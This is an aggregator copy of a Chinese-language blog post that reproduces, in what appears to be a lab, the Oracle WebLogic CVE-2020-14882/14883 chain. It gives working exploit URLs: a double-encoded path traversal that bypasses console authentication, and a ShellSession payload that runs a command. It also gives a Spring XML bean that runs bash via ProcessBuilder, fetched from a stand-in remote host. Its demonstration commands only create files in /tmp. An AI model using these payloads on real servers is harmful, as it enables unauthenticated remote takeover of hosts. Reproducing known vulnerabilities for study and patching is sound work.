5

Weblogic 未认证远程命令执行(CVE-2020-14882、CVE-2020-14883)

 2 years ago
source link: https://joker-vip.github.io/2022/03/15/Weblogic%20%E6%9C%AA%E8%AE%A4%E8%AF%81%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%EF%BC%88CVE-2020-14882%E3%80%81CVE-2020-14883%EF%BC%89/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Weblogic 未认证远程命令执行(CVE-2020-14882、CVE-2020-14883)

发表于 2022-03-15

| 分类于 漏洞复现

Weblogic 未认证远程命令执行(CVE-2020-14882、CVE-2020-14883)

Oracle WebLogic Server 是行业领先的应用服务器,用于使用 Java EE 标准构建企业应用程序,并将它们部署在可靠、可扩展的运行时上,并且拥有成本低。

Oracle 重要补丁更新公告 - 2020 年 10 月中,Oracle 修复了 CVE-2020-14882 和 CVE-2020-14883 来自 Chaitin Tech 的安全研究员 @Voidfyoo 提交的两个安全漏洞。

CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证,CVE-2020-14883 允许经过身份验证的用户在管理员控制台组件上执行任何命令。使用这两个漏洞链,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令并完全控制主机。

启动完成后,访问http://192.168.44.132:7001/console查看管理员控制台登录页面。

使用此 URL 绕过 Console 组件的身份验证:

http://192.168.44.132:7001/console/css/%252e%252e%252fconsole.portal

此时,因为是低权限用户,没有上传 webshell 的权限。

第二个漏洞,CVE-2020-14883,有两种利用方式,一种是通过com.tangosol.coherence.mvel2.sh.ShellSession,另一种是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

访问以下 URL 以链接 2 个漏洞并执行以下命令com.tangosol.coherence.mvel2.sh.ShellSession

http://192.168.44.132:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

touch /tmp/success1已在容器内成功执行:

这种利用方法只能在 Weblogic 12.2.1 及以上版本中使用,因为 10.3.6 没有 class com.tangosol.coherence.mvel2.sh.ShellSession

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更常见的漏洞利用,首次在 CVE-2019-2725 中引入,可用于任何 Weblogic 版本。

要利用FileSystemXmlApplicationContext,您需要制作一个精心制作的 XML 文件并将其提供到 Weblogic 可以访问的服务器上,例如http://example.com/rce.xml

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/success2]]></value>
</list>
</constructor-arg>
</bean>
</beans>

然后通过以下 URL,Weblogic 将加载此 XML 并执行其中的命令:

http://192.168.44.132:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")

该漏洞利用的缺点是,它要求 Weblogic 服务器能够访问恶意 XML。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK